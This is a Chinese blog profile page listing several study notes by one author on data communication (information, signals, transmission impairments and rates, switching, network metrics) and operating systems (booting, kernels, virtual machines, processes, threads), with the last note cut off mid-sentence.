爱喝奶茶的波波
IP:
0关注数
0粉丝数
0获得的赞
工作年
编辑资料
链接我:

创作·76

全部
问答
动态
项目
学习
专栏
爱喝奶茶的波波

消息和信息、信号和数据解读

消息和信息通信是在源点与终点之间传递消息或者信息。信息和消息有着不同的概念。消息是指能向人们表达客观物质运动和主观思维活动的文字、符号、数据、语音和图像等。它有两个特点:能被通信双方所理解可以相互传递。信息是指包含在消息中对通信者有意义的那部分内容。消息是信息的载体,消息中可能含有信息 一条消息包含信息的多少称为信息量,信息量的大小与消息所描述事件的出现概率有关。消息表示的事件是必然事件(概率为1),则该消息不含有任何信息量消息表示的事件根本不可能发生(概率为0) ,则该消息含有无穷的信息量。事件的不确定程度,可以用其出现的概率来描述,也就是说,事件出现的可能性越小,则概率越小;反之,则概率就越大。消息中的信息量与消息发生的概率紧密相关。消息出现的概率越小,则消息中包含的信息量就越大。如果事件是必然的(概率为1),那么它传递的信息量就应该为零。如果事件是不可能的(概率为0),那么它有无穷的信息量。香农规定,一条消息所荷载的信息量等于它所表示的事件发生的概率P的倒数的对数。 通常用比特作为信息量的单位 对于一条含有m个符号的消息,每个符号出现的概率不同。当m很大,若第i个符号出现的概率为Pi,共出现了n次,则它具有的信息量是 整条消息所具有的信息量是所有这样的信息量在不同的 i 值时之总和每个符号包含的平均信息量是 平均信息量是每个符号所含信息量的统计平均值,其单位为比特/符号。平均信息量又称为熵。信号在通信系统中,消息是通过电信号来传递的,信号是消息的载体。信号的分类连续信号与离散信号连续信号:连续时间范围内都有定义的信号;若函数值也连续,则称为模拟信号。离散信号:仅在一些离散的瞬间才有定义的信号;当取值为规定数值时,则称为数字信号。随机信号与确知信号随机信号是指其取值不确定、且不能事先确切预知的信号。确知信号是指其取值在任何时间都是确定的和可预知的信号。确知信号还可分为周期信号与非周期信号。 信号的特性信号的特性表现在时间特性和频率特性两个方面。时间特性主要指信号随时间变化的特性。信号随时间变化的表现包含了信号的全部信息量。频率特性是指信号可用频谱函数来表示的特性。频谱函数表征信号的各频率成分,以及各频率成分的振幅和相位。在分析通信系统时,把输入信号称为激励,输出信号称为响应。 信号分析的两种方法:时域分析法是利用信号的时间特性,把激励和响应看成是时间函数的分析方法。频域分析法是利用信号的频率特性,把激励和响应经过傅立叶变换,将时间变量变换为频率变量进行分析的分析方法。 信号的带宽在通信领域中,信号的带宽最为常用的有以下两种定义。绝对带宽B——指信号频谱正频谱非零部分所对应的频率范围。半功率带宽——信号频谱在f0处为最大值而f0属于(f1,f2)区间内,且P(f1)= P(f2)=0.5P(f0),定义f1到f2的频率范围为半功率带宽。注意:信号的带宽与传输系统的带宽是两个概念。传输系统的带宽通常是指系统的频率响应曲线保持在中心处取值的0.707倍以内的频率区间。数据 数据是使用特定方式表示的信息,通常是有意义的符号序列。它是消息的一种表现形式,是传达某种信息的实体。当信息被表示为数据时,数据中就包含了信息。因此,信息可以通过解释数据来产生。信息强调“处理”和“使用”两个方面,尤其是“使用”。一份资料在使用之前其中的内容隶属于数据范畴,仅当它被使用之后才转化为信息。通信系统中的电信号有模拟信号和数字信号,而数据又分为模拟数据和数字数据。模拟数据在一段时间内具有连续的值(如声音等)数字数据则具有离散的值(如文本等)。 无论是模拟数据还是数字数据都能编码成模拟信号或数字信号。选择何种编码方式取决于需满足的要求和可能提供的传输媒体和通信设施。 数据和信号的四种组合:数字数据,数字信号(如0/1表示负电平/正电平,一串离散的、非连续的电压脉冲序列)数字数据,模拟信号(如ASK、FSK和PSK)模拟数据,数字信号(如话音信号的PCM调制)模拟数据,模拟信号(如AM、FM和PM)
0
0
0
浏览量604
爱喝奶茶的波波

传输损伤和传输质量解读

传输损伤数据信号在数据通信系统的端到端连接的每个环节都可能受到伤害,ITU称之为传输损伤。并推荐用误码、抖动、漂移、滑动和时延来表示。误码(Error)。指信号在传输过程中码元发生的差错,即接收与发送数字信号的单个数字之间的差异。抖动(Jitter)。指码元出现的时刻随时间频繁地变化,也就是各有效瞬间相对于理想时间位置的短时间偏移。漂移(Wander)。指码元各有效瞬间相对于理想时间位置的长期缓慢偏移。滑动(Slip)。指一个信号序列在传输过程中,不可恢复地丢失或增加若干码元。时延(Delay)。指信号的各有效瞬间相对于理想时间位置的滞后或推迟。传输损伤的成因:源于外界环境干扰(温、湿度,电气和机械突发干扰)和设备内部的技术缺陷(时钟提取、复接等,设备反常和调节不佳等)。来自传输损伤之间的相互影响或转化传输质量 衰减:当信号沿传输媒体传播时,其部分能量转换成热能或被传输媒体所吸收,而导致信号强度不断减弱的现象。注意:分贝是相对差别的度量。系统中某些点的功率电平可用绝对功率来表示,其单位是dBm。m表示以1mW为参考的功率单位。信号功率电平也可用相对于某个基准点的电平来表示,其单位是dBr。r表示相对的意思。 失真:信号通过传输系统时,其波形可能发生畸变的现象称为失真。衰减失真(或振幅失真)由衰减随频率的变化而引起的失真。衰减失真来源于电缆及系统中的滤波器。   相位失真(或群延时失真)由线路的相位-频率特性的非线性或不同频率分量的传播速度不一致所引起的失真。上述失真对数据传输的主要影响是使得码元信号波形展宽,从而引起码间串扰现象。畸变:衰减和失真是引起信号波形畸变的主因。数据信号畸变有两种:规则畸变和不规则畸变。规则畸变   信号波形按一定的法则有规律地发生代码畸变。偏畸变正偏—使“1”时间伸长,而“0”时间缩短。负偏—使“1”时间缩短,而“0”时间伸长。特性畸变正特性畸变—使短“1”和短“0”两者都伸长。负特性畸变—使短“1”和短“0”两者都缩短。不规则畸变    信号波形无规律地发生代码畸变。噪声和干扰 噪声在数据信号的传输过程中,所引入的一些额外的非期望信号。噪声有四种类型:热噪声 由带电粒子在导电媒体中的布朗运 动引起的噪声。在1Hz带宽内,从热噪声源所得的噪声功率称为噪声密度。若认为噪声与频率无关,在系统带宽(Hz)内,热噪声功率可表示为交调噪声    由多个不同频率的输入信号共用同一传输媒体,而引起输入信号的频率和或差,以及这些频率的多倍数的组合的信号。交调噪声源于通信系统的非线性。串音    一条信号通路中的信号在另一条信号通路上产生的干扰信号。串音是由通信线路之间存在耦合现象所致。脉冲噪声    一种突发的振幅很大且持续时间很短,被耦合到信号通路中的非连续的尖峰脉冲引起的干扰信号。脉冲噪声来源于各种自然的和人为的电火花。脉冲噪声对话音通信的危害并不十分显著,然而它却是数据通信差错的主要根源 数字信号通过实际信道的情况 有失真,但可识别失真大,无法识别干扰环境干扰    指大气干扰(如雷电、电离层闪烁等)、城区人为干扰(如工业干扰、汽车干扰等)和非恶意的邻道干扰等; 人为恶意干扰  指带有恶意或敌意的人为干扰。信噪比   信噪比SNR 指信号通路某一点上的信号功率Ps与混在信号中的噪声功率PN之比值(常用对数表示)。SNR用来描述信号在传输过程中受到噪声影响的度量。此式也可以换算成电压幅值的关系,即20lg(Vs/Vn),其中Vs和Vn分别代表信号和噪声电压的“有效值”。信噪比一般是在接收端测量。误码率 平均误码率指单位时间内接收到的出错码元数占总码元数的比例。平均误码率与所选择的测量时间的分布和长短有关。在日常维护测试中,ITU规定测试时间为15min。对于二进制传输而言,因码元与比特等价,所以误码率又称误比特率。但多进制传输时,两者不等误码za秒平均时间百分数 ITU-T建议用一个相当长的时间(TL)内确定的平均误码率超过某一误码阈值(BERth)和各个时间间隔(T0) 的平均百分数来度量误码损伤的严重程度。其中,TL的建议值为一个月。 若取T0=1s,BERth=0,当BER>BERth时,则称为误码秒。ITU要求误码秒平均时间百分数不得超过8%。若取T0=1s,BERth=1×10-3,当BER>BERth时,则称为严重误码秒。ITU要求严重误码秒平均时间百分数低于0.2%。通信编码 通信编码    指数据通信系统的内部信息(二进制数)与各种图形字符、操作控制字符以及识别报文组成和格式控制字符等的外部信息之间的对应关系所作的统一规定。常用的通信编码:国际5号码IA5(即ASCII码) 、EBCDIC码和国际电报2号码ITA2。我国汉字编码的国家标准是“信息交换用汉字编码字符集(GB2312-80)”。汉字转换成二进制编码分“外码”和“内码” 。汉字的内码一般由两个字节表示,把两个字节的最高位b8置成1,以便区别于ASCⅡ码。
0
0
0
浏览量558
爱喝奶茶的波波

操作系统(3)---操作系统引导

在安装操作系统后,磁盘的分布如下:C盘是这个磁盘的活动分区(又称主分区),安装了操作系统开机过程如下:1.计算机的主存由RAM和ROM组成,RAM关机数据消失,而ROM(Basic Input/Output System,BIOS)包含ROM引导程序,即自举程序,不会因为关机断电而消失。当开机(通电)时,CPU会到主存中会顺序执行ROM中的引导程序(先进行硬件自检,再开机),这个程序会指示CPU将磁盘中的主引导记录(MBR)读入内存中。2.CPU执行主存中的磁盘引导程序,而磁盘引导程序会根据分区表判断C盘所处位置3.接下来主存会读入C盘第一部分的数据引导记录(PBR),这个引导记录会负责寻找启动管理程序4.启动管理程序一般在C盘根目录中,CPU执行这一启动程序就能完成操作系统初始化工作。CPU做的事情:读ROM引导程序--->读主引导程序--->扫描分区表--->读分区引导记录--->读启动管理程序
0
0
0
浏览量532
爱喝奶茶的波波

操作系统(6)----线程相关

1.线程与进程的关系可以把线程理解为“轻量级进程”。线程是一个基本的CPU执行单元也是程序执行流的最小单位。引入线程之后,不仅是进程之间可以并发,进程内的各线程之间也可以并发,从而进一步提升了系统的并发度,使得一个进程内也可以并发处理各种任务 (如QQ视频、文字聊天、传文件)引入线程后,进程只作为除CPU之外的系统资源的分配单元 (如打印机、内存地址空间等都是分配给进程的)。现在来总结一下引入线程机制后发生了哪些变化1.传统进程机制中,进程是资源分配、调度的基本单位。引入线程后,进程是资源分配的基本单位,线程是调度的基本单位2.传统进程机制中,只能进程间并发。引入线程后,各线程间也能并发,提升了并发度3.传统的进程间并发,需要切换进程的运行环境,系统开销很大。线程间并发,如果是同一进程内的线程切换,则不需要切换进程环境,系统开销小引入线程后,并发所带来的系统开销减小2.线程的属性(1)线程是处理机调度的单位(2)多CPU计算机中,各个线程可占用不同的CPU(3)每个线程都有一个线程ID、线程控制块 (TCB)(4)线程也有就绪、阻塞、运行三种基本状态(5)线程几乎不拥有系统资源(6)同一进程的不同线程间共享进程的资源(7)由于共享内存地址空间,同一进程中的线程间通信甚至无需系统干预(8)同一进程中的线程切换,不会引起进程切换(9)不同进程中的线程切换,会引起进程切换(10)切换同进程内的线程,系统开销很小(11)切换进程,系统开销较大3.线程的实现方式用户级线程早期的操作系统 (如: 早期Unix)只支持进程不支持线程。当时的“线程”是由线程库实现的从代码角度看,线程其实就是一段代码逻辑。上述三段代码逻辑上可以看作三个"线程",下述while循环就可以看作一个"线程库",线程库完成了对线程的管理调度工作。很多编程语言提供了强大的线程库,可以实现线程的创建、销毁、调度等功能。那么线程的管理工作由谁完成呢?从上面的例子可以看出,线程的管理是由应用程序完成的,不需要操作系统的介入。线程的切换工作也不需要CPU参与,直接在用户态下就能完成线程的切换工作。注:操作系统是不知道用户级线程的存在的,他只知道这是一个进程,而进程才被分为多个线程。所以这样的线程被称为用户级线程,只有用户才知道线程的存在,操作系统是不知道的。用户级线程的优点和缺点:优点:用户级线程的切换在用户空间即可完成,不需要切换到核心态,线程管理的系统开销小,效率高缺点:当一个用户级线程被阻塞后,整个进程都会被阻塞,并发度不高。多个线程不可在多核处理机上并行运行我们之前提到过,在引入线程后,线程是CPU调度的基本单位,但是在用户级线程中,CPU调度的基本单位还是进程内核级线程内核级线程(Kernel-LevelThread,KLT,又称“内核支持的线程”)是操作系统支持的线程,即操作系统视角也可以看得到的线程那么这种实现方式线程的管理工作由谁来完成呢?由于此线程是在操作系统层面实现的线程,所以管理工作由操作系统完成。并且线程的切换需要从用户态转变为内核态。内核级线程的优点和缺点优点:当一个线程被阻塞后,别的线程还可以继续执行,并发能力强。多线程可在多核处理机上并行执行。缺点:一个用户进程会占用多个内核级线程线程切换由操作系统内核完成,需要切换到核心态,因此线程管理的成本高,开销大。多线程模型如何将两种方式结合起来,只要在支持内核级线程的系统中,再引入线程库,就可以实现将若干个用户级线程映射到某一个内核级线程一对一模型:一个用户级线程映射到一个内核级线程。每个用户进程有与用户级线程同数量的内核级线程。优点:当一个线程被阻塞后,别的线程还可以继续执行,并发能力强。多线程可在多核处理机上并行执行。缺点:一个用户进程会占用多个内核级线程线程切换由操作系统内核完成,需要切换到核心态,因此线程管理的成本高,开销大。多对一模型:多个用户级线程映射到一个内核级线程。且一个进程只被分配一个内核级线程。优点:用户级线程的切换在用户空间即可完成,不需要切换到核心态,线程管理的系统开销小,效率高缺点:当一个用户级线程被阻塞后,整个进程都会被阻塞,并发度不高。多个线程不可在多核处理机上并行运行,因为只有内核级线程才是处理机的分配单位,如果一个进程只对应一个内核级线程的话,在同一时间内这个进程只能被分配一个CPU的核心,若一个进程对应多个内核级线程,那么在多核CPU的环境下,这些内核级线程肯定是可以并行执行的。多对多模型:n用户及线程映射到m个内核级线程(n>= m)。每个用户进程对应m个内核级线程。克服了多对一模型并发度不高的缺点 (一个阻塞全体阻塞),又克服了一对一模型中一个用户进程占用太多内核级线程,开销太大的缺点。总结一下:用户级线程是"代码逻辑"的载体,而内核级线程是"运行机会"的载体,内核级线程才是处理机分配的单位。例如:多核CPU环境下,上面这个进程最多能被分配两个核。一段“代码逻辑”只有获得了“运行机会”才能被CPU执行。内核级线程中可以运行任意一个有映射关系的用户级线程代码,只有两个内核级线程中正在运行的代码逻辑都阻塞时,这个进程才会阻塞。4.线程的状态和转换线程的状态我们只关注最基本的状态:就绪,运行,阻塞5.线程的组织与控制要管理线程,需要给线程建立对应的数据结构,即线程控制块(TCB)。与进程控制块(PCB)类似,当某个线程要下CPU时,某些必要的寄存器信息要保存到PCB中,当要重新上CPU时,再根据线程控制块,取出相应寄存器的值重新放到寄存器中多个进程的PCB组织起来,就可以形成线程表线程的组织方式有很多,可以一个进程的所有线程组成线程表,或者是所有进程的线程组成线程表,或者根据线程状态不同,组成线程表。不同的系统可以采取不同的策略。
0
0
0
浏览量531
爱喝奶茶的波波

传输方式和传输速率

传输方式基带传输和频带传输  按照传输系统在传输数据信号过程中是否搬移其频谱,传输方式可分两类:基带传输    指不搬移信号频谱的传输体制。频带传输    指利用调制解调器搬移信号频谱的传输体制。搬移频谱的目的是为了适应信道的频率特性。串行传输和并行传输按照传输数据的时空顺序,传输方式可分为两类:串行传输    指数据在一个信道上按位依次传输的方式。其特点是:① 所需线路数少,投资省,线路利用率高;② 在发送和接收端需要分别进行并/串和串/并转换;③ 收发之间必须实施同步。适用于远距离数据传输。并行传输    指数据在多个信道上同时传输的方式。其特点是:① 在终端装置和线路之间不需要对传输代码作时序变换;② 需要n条信道的传输设施,故其成本较高。适用于要求传输速率高的短距离数据传输。异步传输和同步传输 在串行传输时,每一个字符是按位串行地传送的,接收端要能准确地接收所传输的信息,必须知道:每一位的时间宽度(位同步)。每一个字符或字节的起始和结束(字符同步)。每一个完整的信息块(或帧)的起始和结束(帧或块同步) 。同步是使接收方按照发送方发送的每个位的起止时刻和速率来接收数据。通常采用异步传输或同步传输对信号进行同步处理。异步传输    被传送的每一个字符一般都附加有1个起始位和1个停止位,起始位与停止位的极性不同。为了保证正确接收,利用一个频率为传输比特率的n(=16)倍的时钟,在每一个比特周期的中心采样同步传输   通常不是独立地发送每个字符(每个字符都有自己的开始位和停止位),而是把它们组合起来称为数据帧(简称帧)进行传送区别:异步传输是面向字符的传输,而同步传输是面向比特的传输。异步传输的单位是字符,而同步传输的单位是帧。异步传输通过字符起止的起始位和停止位来实现,而同步传输则需从数据中抽取同步信息。异步传输对时序的要求较低,同步传输往往通过特定的时钟线路协调时序。异步传输相对于同步传输效率较低单工、半双工和全双工 按照数据信号在信道上的传送方向与时间的关系,传输方式可分为三类:单工    指两个站之间只能沿一个指定的方向传送数据信号。半双工    指两个站之间可以在两个方向上传送数据信号,但不能同时进行。又称“双向交替”模式。发/收之间的转向时间为20~50ms。全双工    指两个站之间可以在两个方向上同时传送数据信号。传输速率 传输速率指单位时间内传送的信息量,是衡量数据通信系统传输能力的一个重要指标。常用的传输速率有两种:调制速率(或波特率、码元速率)指单位时间内调制信号波形的变换次数。其单位是波特。 数据信号速率(或传信率、比特率)指单位时间内通过信道的信息量。其单位是比特/秒。n 为并行传输的通路数;Ti为第 i 路单位调制信号波的时间长度(秒);Mi为第 i 路调制信号波的状态数。 频带利用率 指单位传输带宽所能实现的传输速率。频带利用率是描述数据传输速率与带宽之间关系的一个指标。在衡量数据通信系统的效率时,既要考虑到传输速率,又要考虑到传输信号所占用频带宽度。因此,真正衡量数据传输系统信息传输效率的是频带利用率。 频带利用率通常与采用的调制及编码方式有关
0
0
0
浏览量453
爱喝奶茶的波波

操作系统(4)---虚拟机

虚拟机又叫虚拟机管理程序或者虚拟机监控程序(Virtual Machine Monitor/Hypervisor,VMM),使用虚拟化技术,将一台物理机器虚拟化为多台虚拟机器 (Virtual Machine,VM),每个虚拟机器都可以独立运行一个操作系统。VMM分为两类:第一类直接运行在硬件上,一个硬件资源上可以安装多台虚拟机器。若硬件为单核CPU,那么该CPU会被分为多个事件片,每个虚拟机器分配几个时间片,但在上层看来,每个自己都占有独立CPU。只有虚拟机管理程序运行在内核态,所以上层的操作系统不能使用特权指令,若上层操作系统想要使用特权指令,那么其就会将特权指令传到虚拟机管理程序,管理程序就会对该指令进行等价转换。第二类VMM,运行在宿主操作系统上虚拟机管理程序运行在宿主操作系统上,若虚拟机管理程序想要给操作系统分配资源,就要先向宿主操作系统申请硬件资源,再做分配。第二类虚拟机管理程序总需要通过宿主操作系统为中介进行映射,性能比第一类更差。两类虚拟机管理程序的对比这里的最高特权级指的是CPU分的更多指令等级分更多级别是有好处的,对于第一类虚拟机管理程序,若上层操作系统想要使用特权指令,那么其就会将特权指令传到虚拟机管理程序,管理程序就会对该指令进行等价转换。但是分更多类别, 就可以使上层用户空间使用Ring1,Ring2时管理程序不用介入,直接可以执行,除非执行少数的Ring0,才需要介入。这就相当于将原本的特权指令进行细分,将特权指令中的敏感指令设为Ring0。这样虚拟机管理程序不用检查每一条特权指令,只会检查敏感指令Ring0
0
0
0
浏览量547
爱喝奶茶的波波

三种交换方式和计算机网络分类,性能指标

三种交换方式电路交换(Circuit Switching)电话交换机接通电话线的方式称为电路!从通信资源的分配角度来看,交换(Switching)就是按照某种方式动态地分配传输线路的资源电路交换的三个步骤∶① 建立连接(分配通信资源)②通话(一直占用通信资源)③ 释放连接(归还通信资源)当使用电路交换来传送计算机数据时,其线路的传输效率往往很低。 电路交换优点1)通信时延小2)有序传输3)没有冲突4)适用范围5)实时性强6)控制简单交换电路缺点 1)建立连接时间长2)线路独占,使用效率低3)灵活性差4)难以规格化分组交换(Packet Switching)发送方构造分组,接收分组路由器接收分组,缓存分组接收方接受分组,还原报文分组交换优点 1)无需建立连接2)线路利用率高3)简化了存储管理4)加速传输5)减少出错概率和重发数据量分组交换缺点 1)引起了转发时延2)需要传输额外的信息量3)对于数据报服务,存在失序、丢失或重复分组的问题;对于虚电路服务,存在呼叫建立、数据传输和虚电路释放三个过程 计算机网络的定义和分类计算机网络的定义计算机网络的精确定义并未统一计算机网络的最简单的定义是:一些互相連接的、自治的计算机的集合互连是指计算机之间可以通过有线或无线的方式进行教据通信;自治 是指独立的计算机,它有自己的硬件和软件.可以单独运行使用; 计算机网络的较好的定义是∶计算机网络主要是由一些通用的、可编程的硬件互连而成的,而这些硬件并非专门用来实现某一特定目的(例如,传送数据或视频信号)。这些可编程的硬件能够用来传送多种不同类型的数据,并能支持广泛的和日益增长的应用。计算机网络所连接的硬件,并不限于一般的计算机,而是包括了智能手机等智能硬件。计算机网络并非专门用来传送数据,而是能够支持很多种的应用(包括今后可能出现的各种应用)计算机网络性能指标速率当提到网络的速率时,往往指的是额定速率或标称速率,而并非网络实际上运行的速率比特是信息论中使用的信息量单位速率指的是数据的传送速率,它也称为数据率或比特率单位:k = 10^3 M = 10^6 G = 10^9T = 10^12 P = 10^15 E = 10^18Z = 10^21 Y = 10^24带宽 带宽本来是指某个信号具有的频带宽度。信号的带宽是指该信号所包含的各种不同,频率成分所占据的频率范围,表示某信道允许通过的信号频带范围就称为该信道的带宽 (或通频带)在计算机网络中,带宽用来表示网络中某通道传送数据的能力,因此网络带宽表示 在单位时间内网络中的某信道所能通过的"最高数据率"前者为频域称谓,而后者为时域称谓,其本质是相同的。也就是说,一条通信链路的"带宽"越宽,其所能传输的"最高数据率"也越高。吞吐量表示在单位时间内通过某个网络(或信道、接口)的实际的数据量吞吐量受网络的带宽或网络的额定速率的限制,对1Gbit/s 的以太网,其实际的吞吐量可能也只有 100 Mbit/s ,或甚至更低,并没有达到其额定速率时延时延(delay latency)是指数据(一个报文或分组,甚至比特)从网络(或链路)的一端传送到另一端所需的时间。它有时也称为延迟或迟延。发送时延 : 发送时延是主机或路由器发送数据帧所需要的时间,也就是从发送数据帧的第一个比特算起,到该帧的最后一个比特发送完毕所需的时间。 因此发送时延也叫做传输时延发送时延 = 数据帧长度/发送速率传播时延 : 传播时延是电磁波在信道中传播一定的距离需要花费的时间。传播时延 = 信道长度 / 电磁波在信道上的传输速率电磁波在自由空间的传播速率是光速,即 3.0 X 10^5 km/s。电磁波在网络传输媒体中的传 播速率比在自由空间要略低一些:在铜线电缆中的传播速率约为 3 X 10^5 km/ ,在光纤中的传播速率约为 2.0 X 10^5 km/ 。处理时延 :主机或路由器在收到分组时要花费一定的时间进行处理排队时延 : 分组在经过网络传输时,要经过许多路由器,进入路由器后要先在输入队列中排队等待处理。在路由器确定了转发接口后,还要在输出队列中排队等待转发。这就产生了排队时延。排队时延的长短往往取决于网络当时的通信量。当网络的通信量很大时会发生队列溢出,使分组丢失,这相当于排队时延为无穷大。发送时延 & 传播时延​ 发送时延发生在机器内部的发送器中,与传输信道的长度(或信号传送的距离)没有任何关系。​ 但传播时延则发生在机器外 部的传输信道媒体上,而与信号的发送速率无关。信号传送的距离越远,传播时延就越大。总时延 = 发送时延+传播时延+处理时延+排队时延时延带宽积 时延带宽积=传播时延×带宽eg:例如,设某段链路的传播时延为 20ms ,带宽为10Mb 的。算出时延带宽积= 20 X 10^-3 X 10 x 10^6 = 2 x 10^5 bit这就表明,若发送端连续发送数据,则在发送的第一个比特即将达到终点时,发送端就己经发送了 20 万个比特,而这 20 万个比特都正在链路上向前移动。因此,链路的时延带宽积又称为以比特为单位的链路长度往返时间RTT 双向交互一次所需的时间。 利用率 信道利用率指出某信道有百分之几的时间是被利用的(有数据通过)。​ 完全空闲的信道的利用率是零。网络利用率则是全网络的信道利用率的加权平均值
0
0
0
浏览量421
爱喝奶茶的波波

计算机网络概述

网络、互连网(互联网)和因特网网络(Network)由若干结点(Node)和连接这些结点的链路(Link)组成多个网络还可以通过路由器互连起来,这样就构成了一个覆盖范围更大的网络,即互联网(或互连网) 因此,互联网是’网络的网络(Network of Networks) 因特网(Internet)是世界上最大的互连网络(用户数以亿计,互连的网络数以百万计)internet (互联网或互涯网)用名词,它泛指由多个计貝机何络互 逕而成的网络.在这些网,之间的通信协仪可以是任意的.Internet (因特网)则JB—个专用名词,它18当,全球最大的.开放的,由 众多网络相互连接成的特定计算机网络,,它采用TCP/1P协议,作为通信的 规则,因特网发展的三个阶段 1969年.第一个分组交换网 ARPANET70年代中期.研究多种网络之间的互逢1983年,TCP/IP协议成为ARPANET 的标准协位(因待网匣生时间)1985年,NSF困缓六个大型计算机中心H 设NSFNET (主干网、地区网和校园网) 1990年,ARPANET任务完成,正式关闭1991年,美国政府将因特网主干网交给私人公司经营,并开始对接入因特网的单位收费1993年,NSFNET逐渐被若干个商用因特网主干网替代;政府机构不再负责因特网运营,让各种因特网服务提供者ISP来运营1994年,万维网WWW技术促使因特网迅1995年,NSFNET停止运作,因特网彻底商业化。因特网服务提供者ISP(Internet Service Provider) 基于ISP的三层结构的因特网 因特网的标准化工作因特网的标准化工作对因特网的发展起到了非常重要的作用 因特网在制定其标准上的一个很大的特点是面向公众。□ 因特网所有的RFC(Request For Comments)技术文档都可从因特网上免费下载;(http://www.ietf.org/rfc.html)□ 任何人都可以随时用电子邮件发表对某个文档的意见或建议。因特网协会ISOC是一个国际性组织,它负责对因特网进行全面管理,以及在世界范围内促进其发展和使用 □ 因特网体系结构委员会IAB,负责管理因特网有关协议的开发;□ 因特网工程部IETF,负责研究中短期工程问题,主要针对协议的开发和标准化;□ 因特网研究部IRTF,从事理论方面的研究和开发一些需要长期考虑的问题制订因特网的正式标准要经过以下4个阶段 (1)因特网草案(在这个阶段还不是RFC文档)(2)建议标准(从这个阶段开始就成为RFC文档)(3)草案标准(4)因特网标准因特网的组成 边缘部分由所有连接在因特网上的主机组成。这部分是用户直接使用的,用来进行通信(传送数据.音频或视频)和资源共享核心部分 由大量网络和连接这些网络的路由器组成,这部分是为边缘部分提供服务的(提供连通性和交挨)
0
0
0
浏览量727
爱喝奶茶的波波

操作系统(2)---操作系统的体系结构

1.操作系统的内核内核是操作系统最基本、最核心的部分。实现操作系统内核功能的那些程序就是内核程序。操作系统内核结构如下:时钟管理是指用时钟中断实现计时功能原语是指原语是一种特殊的程序,具有原子性。也就是说这段程序的运行必须一气呵成,不可被“中断”。针对时钟管理,中断处理以及原语,这些与硬件关联较紧密的模块,一定放在内核中,而对系统资源进行管理的功能,例如进程管理,存储器管理,设备管理,这些管理工作更多的是对数据结构的操作,不会直接涉及硬件。有的操作系统不会将他放到内核中。注:若内核中包含对系统资源进行管理的功能,那么称为大内核,若不包含,则成为小内核(微内核),操作系统内核需要运行在内核态,非内核功能运行在用户态若采用大内核方式进行处理,处理过程只需要进行两次CPU状态的转换若采用微内核方式,整个过程的处理需要6次CPU状态的转换而CPU状态的转换是有成本的,需要消耗不少时间,频繁地转换会消耗系统性能大内核:优点:性能较高缺点:内核代码庞大,结构混乱,难以维护。典型的大内核/宏内核/单内核 操作系统: Linux、UNIX小内核:优点:内核功能少,结构清晰,方便维护,可靠性高缺点:需要频繁地在核心态和用户态之间切换,性能低。典型的微内核操作系统:windows NT2.分层结构的操作系统内核分多层,每层可单向调用相邻的,更低一层提供的接口优点:1.这样的分层结构便于调试和验证,自底向上逐层调试验证2.易扩充和易维护,各层之间调用接口清晰固定缺点:1.仅可调用相邻低层,难以合理定义各层的边界2.效率低,不可跨层调用,系统调用执行时间长3.模块化的操作系统将内核划分为多个模块,每个模块具有某方面的管理功能,并规定好各模块间的接口,使各模块之间能通过接口进行通信。还可以进一步将各模块细分为若干个具有一定功能的子模块,同样也规定好各子模块之间的接口。把这种设计方法称为模块-接口法,图 1.3 所示为由模块、子模块等组成的模块化操作系统结构。内核=主模块+可加载内核模块主模块:只负责核心功能,如进程调度、内存管理可加载内核模块:可以动态加载新模块到内核而无需重新编译整个内核优点:1.模块间逻辑清晰易于维护确定模块间接口后即可多模块同时开发2.支持动态加载新的内核模块 (如:安装设备驱动程序、安装新的文件系统模块到内核),增强OS适应性3.任何模块都可以直接调用其他模块,无需采用消息传递进行通信,效率高缺点:1.模块间的接口定义未必合理,实用2.模块间相互依赖,更难调试和验证注:其实宏内核就是采用了模块化的思想,大内核中功能可以相互调用,但是对于微内核而言,进程管理与其他管理之间若要相互调用,必须通过消息传递的方式。所以大内核对于小内核而言性能更高,但是对于小内核而言,内核外的某个功能模块出错,不会导致整个系统崩溃。4.外核操作系统这样的操作系统由内核和外核组成,应用程序能通过库函数调用内核中的功能,也可以通过库函数,调用外核中的功能。内核负责进程调度、进程通信等功能,外核负责且由外核为用户进程分配未经抽象的硬件资源负责保证资源使用安全抽象的意思大概为:用户看到的虚拟页面与操作系统分配的页框是不一样的,用户看到的虚拟页面是一整块的,而操作系统分配的页框是分散的。未经抽象的硬件资源就是操作系统给用户分配的磁盘空间在外存中是集中的,那么用户进程在访问文件时,磁头不需要大幅度转,这样性能就提高了。若用户进程需要频繁访问文件资源,就可以向外存申请连续的磁盘块,用户进程将文件数据存入到这些磁盘块中,那么访问文件的性能就能提升。优点:1.外核可直接给用户进程分配“不虚拟、不抽象的硬件资源,使用户进程可以更灵活的使用硬件资源。2.减少了虚拟硬件资源的“映射层",提升效率。缺点:1.会使系统变得更加复杂。
0
0
0
浏览量551
爱喝奶茶的波波

操作系统(5)-----操作系统进程相关

一.进程的组成进程的组合如下所示:1.PCB(进程控制块)PCB是进程存在的唯一标志,当进程被创建时,操作系统为其创建PGB,当进程结束时,会回收其PCB。操作系统对进程进行管理工作所需的信息都存在PCB中。(1)进程描述信息进程描述信息包括进程标识符PID以及用户表示符UID,PID为进程ID,当进程被创建时,操作系统会为该进程分配一个唯一的、不重复的“身份证号”,即PID,例如:区别下面三个进程的就是PID。(2)进程控制和管理信息例如CPU,磁盘,网络流量使用情况,以及进程当前状态:就绪态/阻塞态/运行态,从任务管理前期我们就能看到进程相关信息(3)资源分配清单资源分配清单指的是系统正在使用哪些文件,内存区域或者I/O设备(4)处理机相关信息2.程序段与数据段PCB是给操作系统使用的,程序段与数据段是给进程自己用的,与进程自身的运行逻辑有关。程序运行过程如下:高级程序会形成可执行文件,程序运行前,会将其从硬盘读入内存中,一个程序开始运行前,需要创建对应的进程,也就要创建相应的PCB,除了PCB,还需要读入一系列的指令序列,这一系列的指令序列就是程序段,CPU会从内存中取出指令,并且执行这些指令。在执行指令时,会产生中间数据,例如中间变量等,这些数据就存放在数据段中注:其实这里的进程更准确地说是进程实体(进程映像),因为进程是动态的,而进程实体是静态的。进程运行过程中,进程实体是在不断变化的,例如x=1,运行x++后,x=2进程与进程实体的关系:进程是进程实体的运行过程,是系统进行资源分配和调度的一个独立单位。二.进程的特征程序是静态的,进程是动态的,相比于程序,进程拥有以下特征:三.进程的状态以及状态的转换进程的状态包括三种基本状态就绪态,运行态,阻塞态,创建态和终止态。状态的转换过程如下:1.进程正在被创建时,它的状态是“创建态”,在这个阶段操作系统会为进程分配资源、初始化PCB。2.当进程创建完成后,便进入“就绪态”,处于就绪态的进程已经具备运行条件,但由于没有空闲CPU,也就是处理机,就暂时不能运行。3.系统中可能会有很多个进程都处于就绪态,当CPU空